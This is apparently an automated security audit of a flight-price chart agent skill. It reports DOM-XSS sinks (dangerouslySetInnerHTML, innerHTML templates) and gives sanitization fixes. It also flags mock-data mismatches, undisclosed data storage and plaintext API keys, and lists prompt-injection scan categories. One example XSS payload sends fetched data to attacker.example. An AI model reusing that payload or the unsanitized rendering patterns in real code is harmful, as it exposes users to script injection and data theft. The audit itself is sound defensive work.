Back to skill

Security audit

Flight Price Advisor with Trend Chart for developer

Security checks for vulnerabilities and agentic risk

Overview

The skill has a coherent flight-price chart purpose, but it includes unsafe browser rendering patterns and under-scoped guidance for storing flight search data.

Review before installing or integrating. Use the React chart component only with validated structured data, avoid the provided raw HTML rendering examples unless you add sanitization, do not render AI output through innerHTML/dangerouslySetInnerHTML, store API keys outside committed JSON files, and enable any price-history storage or scheduled collection only with explicit retention and privacy controls.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
USAGE_EXAMPLE.md:256
Finding
Unsanitized AI-Generated Content Rendered Through dangerouslySetInnerHTML<![CDATA[ ## Vulnerability Details **File Location**: `USAGE_EXAMPLE.md`, lines 256-259 **Vulnerability Type**: DOM-based cross-site scripting through unsafe HTML rendering **Risk Level**: High ### Vulnerable Code ```jsx <div className="markdown-content" dangerouslySetInnerHTML={{ __html: renderMarkdown(content) }} /> ``` The same integration guide also recommends equivalent unsafe HTML sinks in the standalone implementation: ```javascript document.querySelector('.markdown-content').innerHTML = renderMarkdown(content); if (data?.flights) { document.getElementById('flight-cards').innerHTML = renderFlightCards(data.flights); } ``` ### Technical Analysis The documented React integration passes AI-generated `content` through `renderMarkdown()` and then assigns the result to React's `dangerouslySetInnerHTML`. The standalone integration similarly assigns generated content to `innerHTML`. Markdown conversion does not inherently provide HTML sanitization. The example does not require `renderMarkdown()` or `renderFlightCards()` to remove raw HTML, event-handler attributes, dangerous URL schemes, SVG payloads, or other executable markup. If either function returns attacker-controlled HTML, the browser parses it in the application's origin. For example, where raw HTML is enabled by the Markdown renderer, malicious AI response content could include: ```html <img src="invalid" onerror="fetch('/sensitive-endpoint').then(r=>r.text()).then(x=>fetch('https://attacker.example/',{method:'POST',body:x}))"> ``` The precise payload available depends on the application's Content Security Policy, authentication model, and Markdown configuration. Nevertheless, directly placing untrusted rendered output into an HTML sink creates a DOM-XSS boundary unless strict sanitization is guaranteed before the assignment. ### Attack Path 1. An attacker submits a crafted chat prompt, poisons upstream content, or otherwise causes the AI response to contain malicious HTML embed ...[truncated 1261 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Do not use `dangerouslySetInnerHTML` for AI-generated content unless the final HTML has been sanitized. 2. Configure the Markdown renderer to disable raw HTML. 3. Sanitize rendered output with a maintained allowlist-based sanitizer such as DOMPurify: ```jsx import DOMPurify from 'dompurify'; const rendered = renderMarkdown(content); const sanitized = DOMPurify.sanitize(rendered, { USE_PROFILES: { html: true }, FORBID_TAGS: ['script', 'style', 'iframe', 'object', 'embed'], FORBID_ATTR: ['style'] }); <div className="markdown-content" dangerouslySetInnerHTML={{ __html: sanitized }} /> ``` 4. Render flight fields as React text nodes or assign them through `textContent` rather than constructing HTML strings. 5. Validate links and permit only required schemes such as `https:` and, where necessary, `mailto:`. 6. Deploy a restrictive Content Security Policy that avoids `unsafe-inline`, limits scripts to trusted origins, and blocks object embedding. 7. Add regression tests covering event attributes, SVG payloads, `javascript:` URLs, malformed tags, encoded payloads, and raw HTML embedded in Markdown. 8. Perform sanitization immediately before the final HTML sink rather than relying solely on upstream model behavior or prompt instructions. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
components/PriceTrendEmbed.html:508
Finding
DOM XSS in Standalone Price Chart Through Template-Based innerHTML Rendering<![CDATA[ ## Vulnerability Details **File Location**: `components/PriceTrendEmbed.html`, lines 508-579 **Vulnerability Type**: DOM-based cross-site scripting through unescaped HTML and SVG interpolation **Risk Level**: High ### Vulnerable Code The renderer derives a gradient identifier from externally supplied chart data: ```javascript const gid = 'g-' + (destination?.code || 'DST') + '-' + Math.random().toString(36).slice(2, 6); ``` It then interpolates that identifier and other chart values into a string assigned to `innerHTML`: ```javascript container.innerHTML = ` <div class="pchart"> <div class="pchart__title-row"> <div> <div class="pchart__title">近 60 天价格走势</div> </div> <div class="pchart__cur-wrap"> <div class="pchart__cur-price" id="pchart-price" style="color: var(--brand)"> <span class="pchart__currency">¥</span>${currentPrice.toLocaleString()} </div> <div class="pchart__cur-change" id="pchart-change" style="color: var(--brand)"> ${analysis.pctDiff > 0 ? '+' : ''}${analysis.pctDiff}% vs 均价 </div> </div> </div> <div class="pchart__badges"> <span class="pchart__badge ${badgeClass[analysis.level]}"> ${analysis.level === 'low' ? '↓' : analysis.level === 'high' ? '↑' : '→'} ${levelText[analysis.level]} </span> <span class="pchart__badge pchart__badge--neutral">${trendText[analysis.trend]}</span> </div> <div class="pchart__canvas" id="pchart-canvas"> <svg viewBox="0 0 ${width} ${height}" preserveAspectRatio="none"> <defs> <linearGradient id="${gid}" x1="0" y1="0" x2="0" y2="1"> <stop offset="0%" stop-color="#6666FF" stop-opacity="0.12"/> <stop offset="100%" stop-color="#6666FF" stop-opacity="0.01"/> ...[truncated 5170 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Replace template-string rendering with safe DOM construction: - Use `document.createElement()` for HTML nodes. - Use `document.createElementNS('http://www.w3.org/2000/svg', ...)` for SVG nodes. - Set visible values with `textContent`. - Set validated numeric attributes with `setAttribute()`. 2. Generate gradient IDs solely from internal random values. Do not include route data: ```javascript const gid = `price-gradient-${crypto.randomUUID()}`; ``` 3. Validate the full input structure before rendering: - Require `destination.code` to match an expected airport-code format such as `^[A-Z]{3}$`. - Require prices and statistics to be finite, non-negative numbers within reasonable limits. - Require timestamps to be valid and within an expected range. - Permit only `low`, `mid`, and `high` for `analysis.level`. - Permit only `falling`, `rising`, and `stable` for `analysis.trend`. - Enforce a maximum history length to prevent client-side resource exhaustion. 4. Reject malformed data rather than silently converting it to markup. 5. If migration away from templates is not immediately possible, contextually escape every interpolated value and sanitize the final fragment using a maintained sanitizer configured for the required HTML and SVG subset. Escaping must account for both attribute and text contexts. 6. Apply a restrictive Content Security Policy that blocks inline script execution and unnecessary external resources. 7. Add security tests using quote-breaking airport codes, SVG event handlers, malformed dates, non-finite prices, unexpected objects, and oversized price-history arrays. ]]>
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Output HandlingUnvalidated Output Injection, Cross-Context Output, Unbounded Output
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (27)

Description-Behavior Mismatch

High
Confidence
98% confidence
Finding
The skill metadata promises real-time SerpAPI-backed 60-day flight price history, but this document states the implementation defaults to mock data. That discrepancy can mislead agents and end users into treating fabricated or estimated pricing as authoritative travel data, causing incorrect recommendations or decisions.

Description-Behavior Mismatch

High
Confidence
97% confidence
Finding
The documented mock generator only creates 30 days of estimated history, while the skill advertises 60-day trend visualization. This creates a second integrity gap: consumers may rely on charts that appear complete but are based on shorter, synthetic data, undermining trust and potentially producing materially false conclusions.

Unvalidated Output Injection

High
Category
Output Handling
Content
<div className="ai-response">
      <div
        className="markdown-content"
        dangerouslySetInnerHTML={{ __html: renderMarkdown(content) }}
      />

      {data?.type === 'flights' && (
Confidence
99% confidence
Finding
`dangerouslySetInnerHTML` explicitly bypasses React's normal escaping and will inject HTML into the DOM. In a skill that embeds AI-generated flight responses, this is especially dangerous because assistant output can include attacker-influenced content, making DOM XSS highly plausible and unrelated to the legitimate need of showing a price chart.

Hidden Instructions

High
Category
Prompt Injection
Content
<h1 class="demo-title">价格趋势组件</h1>
        <p class="demo-subtitle">Price Trend Embeddable Component - 用于 AI 对话中的航班价格展示</p>

        <!-- Price Chart Container -->
        <div id="price-chart-container"></div>

        <!-- Usage Instructions -->
Confidence
70% confidence
Finding
Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Context-Inappropriate Capability

Medium
Confidence
84% confidence
Finding
The document proposes persisting flight search snapshots to local files, which expands the skill from on-demand chart rendering into data collection and retention. Even if only route and aggregate price data are stored, this increases attack surface, creates unmanaged retention of query-derived data, and goes beyond the minimum privileges expected for an embedding skill.

Missing User Warnings

Medium
Confidence
89% confidence
Finding
The storage design describes writing flight search history to disk without any explicit privacy notice, retention policy, or disclosure to users/operators. Even if the stored fields are aggregate prices, search-derived route activity can still constitute operational or behavioral data, and undocumented persistence increases compliance and trust risk.

Context-Inappropriate Capability

Medium
Confidence
88% confidence
Finding
The planned cron-based collection of popular route prices adds autonomous background behavior unrelated to a user-invoked embedding skill. This broadens capability, may consume external API quotas or infrastructure resources without immediate user action, and creates hidden data collection behavior that is not reflected in the stated purpose.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
The skill description is written as a direct instruction set in Chinese and provides no indication that users may interact in other languages or opt into a locale. Under the policy criteria, forcing a specific language without user choice is a natural-language policy violation unless the locale constraint is clearly documented and justified.

Description-Behavior Mismatch

Medium
Confidence
88% confidence
Finding
The manifest says this skill is for embedding interactive 60-day flight price charts into AI responses. However, the README's documented data flow expands the behavior to querying SerpAPI for real prices and 'automatic storage accumulation,' which goes beyond a pure embedding/presentation skill into backend data acquisition and retention.

Natural-Language Policy Violations

Medium
Confidence
96% confidence
Finding
This markdown file presents the skill documentation in Chinese, including the title and introductory usage guidance, but does not indicate that the user or developer can choose another language. Per the policy, forcing a specific language without opt-in is a natural-language policy violation unless the locale constraint is justified and documented.

Missing User Warnings

Medium
Confidence
89% confidence
Finding
This markdown file includes frontend integration examples that POST user messages to `/api/chat` and render returned content via `dangerouslySetInnerHTML`/`innerHTML`, which can affect user data privacy and system integrity. The surrounding documentation provides implementation notes but does not warn users or integrators about transmitting chat content to a backend or safely sanitizing rendered markdown.

Context-Inappropriate Capability

Medium
Confidence
97% confidence
Finding
The React example renders AI/markdown output directly with `dangerouslySetInnerHTML`, which creates a straightforward XSS sink if `content` or `renderMarkdown(content)` can contain attacker-controlled HTML. In an AI/chat integration, model output, retrieved content, or echoed user input are all effectively untrusted, so this example encourages unsafe rendering behavior beyond the skill's chart-only purpose.

Context-Inappropriate Capability

Medium
Confidence
98% confidence
Finding
The HTML example assigns rendered markdown directly to `.innerHTML`, which is another classic XSS sink. Because chat/API response content is untrusted in this context, an attacker could inject scripts, event handlers, or malicious links via model output or reflected user input, leading to code execution in the client.

Natural-Language Policy Violations

Medium
Confidence
94% confidence
Finding
This JSX file contains user-facing and descriptive natural language entirely in Chinese, including the component description and in-UI labels, but does not indicate that the skill is intentionally limited to Chinese-speaking users or provide any language opt-in. Under the policy, forcing a specific language without user choice is a locale/language policy violation.

Natural-Language Policy Violations

Medium
Confidence
90% confidence
Finding
The document is entirely written in Chinese, including the title, section headings, and usage guidance, with no indication that users may choose another language or that the skill is intentionally limited to a Chinese-speaking audience. Under the policy, forcing a specific language without user opt-in is a natural-language locale violation.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The documentation instructs users to place API keys directly into a JSON config file, including an example with an OpenAI-style secret, without warning about plaintext credential exposure. This encourages insecure secret handling, increasing the chance of accidental source control commits, local disclosure, or reuse of production credentials in unsafe environments.

Missing User Warnings

Medium
Confidence
89% confidence
Finding
The document states that every flight search will automatically collect and persist price data to local JSON files, but it does not warn operators about retention, access control, or the possibility that search activity may reflect user travel intent. Even if the stored fields are mostly route and price metadata, persistent logging of user-driven queries can create privacy and compliance risk when deployed in shared or production environments.

Description-Behavior Mismatch

Medium
Confidence
92% confidence
Finding
The documentation explicitly proposes storing flight search price snapshots in a persistent database or filesystem, which expands the skill from response-time chart rendering into ongoing data retention and secondary use of query-derived data. In an agent skill whose stated purpose is embedding charts in responses, this creates scope creep, increases data-governance and compliance risk, and may violate user expectations or third-party API terms if collection/storage is not narrowly controlled and disclosed.

Description-Behavior Mismatch

Medium
Confidence
97% confidence
Finding
This section proposes scheduled background harvesting of flight prices for popular routes unrelated to an active user request, which turns the skill into an autonomous data collection system rather than a chart-embedding utility. That behavior can drive uncontrolled third-party API usage, unexpected cost, potential terms-of-service violations, and collection of data beyond the user's requested scope, making the mismatch with the declared skill purpose materially more dangerous.

External Transmission

Medium
Category
Data Exfiltration
Content
## Request Example

```bash
curl "https://api.example.com/price/trend?origin=SHA&destination=TYO&days=60"
```

## Response Format
Confidence
50% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Natural-Language Policy Violations

Medium
Confidence
94% confidence
Finding
The visual structure and feature descriptions present user-facing labels entirely in Chinese, but the document does not state that the component is intended only for a Chinese locale or that language is configurable. This can violate language/locale policy because it implicitly mandates a specific language without user opt-in.

Natural-Language Policy Violations

Low
Confidence
98% confidence
Finding
The file content is presented in Chinese throughout, including headings, implementation guidance, and operational notes, with no indication that the user can choose another language. Under the stated policy, forcing a specific language without opt-in is a natural-language policy violation unless the locale restriction is explicitly justified.

Description-Behavior Mismatch

Low
Confidence
82% confidence
Finding
The manifest frames the skill as embedding a price trend chart in responses, with SerpAPI needed for real-time data. The README additionally documents configuring a local API key in a config file, restarting a server, and later recommends periodic data refresh, indicating a broader service/backend role than the manifest description suggests.

Natural-Language Policy Violations

Low
Confidence
93% confidence
Finding
The section title, setup instructions, and warning text at L030-L043 are presented only in Chinese, while the rest of the skill file is primarily in English. This creates a locale/language constraint for users who do not read Chinese, without documenting a justified region-specific requirement or offering an alternative language.

Natural-Language Policy Violations

Low
Confidence
95% confidence
Finding
The natural-language instructions, examples, and headings in this skill usage file are exclusively in Chinese, which implicitly forces a specific language on readers and integrators. There is no indication that the skill is region-specific or that alternative language support is available by user choice.

Static analysis

No suspicious patterns detected.